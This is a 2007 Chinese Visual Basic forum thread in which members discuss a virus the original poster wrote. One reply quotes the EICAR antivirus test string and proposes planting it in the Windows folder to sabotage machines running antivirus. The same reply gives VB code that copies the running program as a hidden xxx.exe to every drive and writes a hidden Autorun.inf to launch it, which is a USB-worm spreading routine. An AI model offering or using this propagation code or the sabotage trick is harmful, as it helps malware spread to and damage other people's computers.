VBGood网站全文搜索 Google

搜索VBGood全站网页(全文搜索)

VB爱好者乐园(VBGood)

 找回密码
 立即注册
搜索
楼主: acme_pjz

编了个小病毒

[复制链接]
发表于 2007-1-24 18:15:30 | 显示全部楼层
呵呵~下了~也看了~但看不懂~哈哈
回复 支持 反对

使用道具 举报

发表于 2007-1-26 11:23:26 | 显示全部楼层
恩,学习下。。。
回复 支持 反对

使用道具 举报

发表于 2007-1-28 10:17:52 | 显示全部楼层
强啊
回复 支持 反对

使用道具 举报

 楼主| 发表于 2007-1-28 13:57:18 | 显示全部楼层
好像是在C盘创建一个286.txt就能关掉病毒了
回复 支持 反对

使用道具 举报

发表于 2007-1-28 20:03:18 | 显示全部楼层
哈哈哈……你就在C盘windows目录下添加一个,大家都以为是病毒的东西,只要不删掉他,系统就没问题,删掉就有问题
然后装杀毒软件的就惨了
回复 支持 反对

使用道具 举报

 楼主| 发表于 2007-1-30 16:20:28 | 显示全部楼层
哈哈,这主意不错……EICAR测试文件??……
回复 支持 反对

使用道具 举报

发表于 2007-2-7 11:51:35 | 显示全部楼层
EICAR测试文件
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

够阴险的,装了杀毒软件就惨了!
我可不敢,我装了卖咖啡
不过有vmware,玩玩也没问题!

如果再阴险点可以加上U盘复制功能,学学那个未经:

  1. On Error Resume Next
  2. For i = 1 To 24
  3. sss$ = UCase(Chr(98 + i))
  4. Err.clear
  5. GetAttr sss$ & ":"
  6. If err=0 and dir(sss$ & ":\xxx.exe")="" Then
  7.         filecopy CStr(App.Path) + "" + CStr(App.EXEName) + ".exe" ,sss$ & ":\xxx.exe"
  8.         setattr sss$ & ":\xxx.exe",vbSystem+vbHidden+vbReadOnly
  9.         open sss$ & ":\Autorun.inf" For output as #1
  10.         print 1,"[autorun]"
  11.         print 1,"open=xxx.exe"
  12.         close #1
  13.         setattr sss$ & ":\Autorun.inf",vbSystem+vbHidden+vbReadOnly
  14. End if
  15. Next i
复制代码

[ 本帖最后由 yyfearth 于 2007-2-7 11:54 编辑 ]
回复 支持 反对

使用道具 举报

 楼主| 发表于 2007-2-8 17:04:56 | 显示全部楼层
u盘复制是可以,不过我没考虑这个方法,因为U盘的自动播放默认是禁止的……
回复 支持 反对

使用道具 举报

发表于 2007-2-8 18:16:49 | 显示全部楼层
先下载代码看看先。。。。想写个病毒。。怕警察抓。。在虚拟机上运行又很不爽。。。这世道。。。。
回复 支持 反对

使用道具 举报

发表于 2007-2-10 10:46:29 | 显示全部楼层
看不懂呀。。。不明白。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

文字版|手机版|小黑屋|VBGood  

GMT+8, 2020-6-3 01:45

VB爱好者乐园(VBGood)
快速回复 返回顶部 返回列表